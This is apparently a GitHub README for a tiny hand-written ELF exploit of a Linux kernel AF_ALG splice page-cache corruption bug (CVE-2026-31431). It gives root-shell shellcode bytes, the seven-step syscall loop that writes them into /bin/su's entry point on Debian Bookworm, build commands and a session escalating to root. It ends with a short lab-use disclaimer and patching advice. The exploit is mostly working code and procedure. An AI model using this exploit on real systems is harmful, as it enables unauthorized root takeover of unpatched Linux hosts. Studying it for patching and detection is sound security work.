
Minimal 587-byte static ELF exploit for CVE-2026-31431, achieving local privilege escalation via AF_ALG splice page cache corruption. No libc or runtime dependencies.
I did not find this bug. Credit goes to Xint Code / Theori.
This repo is my take on making the exploit as small as possible - a hand-rolled x86_64 ELF that does the full LPE in 587 bytes. No libc, no linker, no runtime. Just NASM and stubbornness.
In effect, the kernel hands you a write primitive into any readable file's page cache through AF_ALG + splice. Point it at a setuid binary's entry point, write shellcode, exec the binary, root.
For context on sizing: the original public Copy Fail post shipped a tiny Python version measured at 732 bytes. That is extremely sick, but it still depends on the Python runtime being present. Smaller again is https://kopy.fail at 524 bytes. This one however is a raw static ELF: no interpreter, no libc, no linker, no dynamic loader. (my mum says it's cool)
| CVE | CVE-2026-31431 |
| Bug class | Page cache corruption via splice aliasing |
| Root cause | af_alg_sendpage / splice into AEAD request aliases page cache pages into crypto scatter-gather output |
| Component | crypto/af_alg.c + crypto/algif_aead.c |
| Impact | Write controlled bytes into any readable file's page cache |
| Required | Local user, reachable AF_ALG/AEAD support, readable setuid target |
| Exploit | 587-byte static ELF (x86_64), single file, zero dependencies |
AF_ALG lets userspace do kernel crypto over sockets. For AEAD ciphers like
authencesn, the kernel accepts data via sendmsg with MSG_MORE, then you
can splice more data in from a file descriptor.
The cursed part: when you splice a file in, the kernel pins the file's page cache pages directly into the crypto scatter-gather list. The AEAD operation then writes its output back into those same pages. The kernel thinks it gave crypto a read buffer. Crypto thinks it got a write buffer. Nobody copies.
The bytes you feed as AAD metadata end up visible through the page cache. Any subsequent read of that file - by any process, any user, including suid exec - sees the corrupted data. The on-disk file is untouched. Only the in-memory page cache view changes.
Copy Fail is the page-cache/COW family curse showing up in AF_ALG clothing. Same lineage as Dirty COW (CVE-2016-5195) - "the kernel let you write to something you should only be able to read" - but through the crypto splice path instead of madvise/write racing.
Target: /bin/su on Debian Bookworm (including kernelCTF rootfs). ELF entry
point sits at file offset 0x3910.
28 bytes of shellcode turn it into a root shell dropper:
; setuid(0) - 7 bytes
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21 bytes
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
The AEAD primitive only gives you 4 bytes per operation - one 32-bit chunk of the AAD lands at the splice offset. 28 bytes of shellcode ÷ 4 = 7 trips through the kernel crypto stack. Each iteration:
socket(AF_ALG) + bind with authencesn(hmac(sha1),cbc(aes))setsockopt to set the key and auth tag sizeaccept to get the request fdsendmsg with MSG_MORE - the 8-byte iov contains 4 bytes of AAD filler + 4 bytes of shellcodesplice from /bin/su through a pipe into the request fd (positions the page cache pages)recvfrom - triggers AEAD processing, corrupts the page cacheAfter all 7 iterations, execve("/bin/su"). The kernel loads it from the
corrupted page cache. Execution jumps to the overwritten entry point. Root
shell.
587 bytes total. 120 of those are the ELF header (kernel won't load you without it), so the actual exploit logic is 467 bytes of machine code + data.
Here's where things live in the ELF header:
Offset Field Actual use
------ ----- ----------
0x00 e_ident[0:8] magic + ELF class (mandatory)
0x08 e_ident[8:16] crypto key material (kernel ignores these bytes)
0x28 e_shoff "/bin/su\0" string (kernel ignores for ET_EXEC)
The kernel only looks at e_ident[0:7], e_type, e_machine, e_entry,
e_phoff, e_phnum, and the phdr itself. Everything else is free real estate.
Other size tricks:
push imm8 / pop rax / syscall (3 bytes each)First working version was 584 bytes. It used mov ax, 275 for the second
splice call (2 bytes shorter than mov eax, 275). This gambles that the first
splice always succeeds - if it returns a negative error, the upper 48 bits of
rax stay set, and mov ax, 275 only overwrites the bottom 16. Then the second
splice syscall number is garbage.
On my test kernel it always worked. But "always works in testing" is a bad reason to ship a bug, and if someone hits this on a system where splice returns EAGAIN under memory pressure, the exploit just segfaults with no indication of what went wrong. Ate the 3 extra bytes.
Also had to add xor esi, esi before the final execve because recvfrom
clobbers rsi with the buffer address. Without it, execve gets a garbage argv
pointer. Another byte.
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
Requires NASM. Produces the exploit binary directly - no linking step.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
Takes under a second. No output on success - just a root shell.
Needs CONFIG_CRYPTO_USER_API_AEAD (built-in or loaded module) and the
unfixed in-place splice path in algif_aead. The bad codepath dates back to
a 2017 optimization. Check your distro's kernel config and patch status.
The fix kills the in-place path and copies splice source pages instead of aliasing them into the crypto scatter-gather list. Page cache isolation restored.
This is a KernelCTF/lab artifact. Run it on systems you own or have explicit permission to test. If you're defending Linux boxes, patch the kernel or restrict AF_ALG/algif_aead module loading.
Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online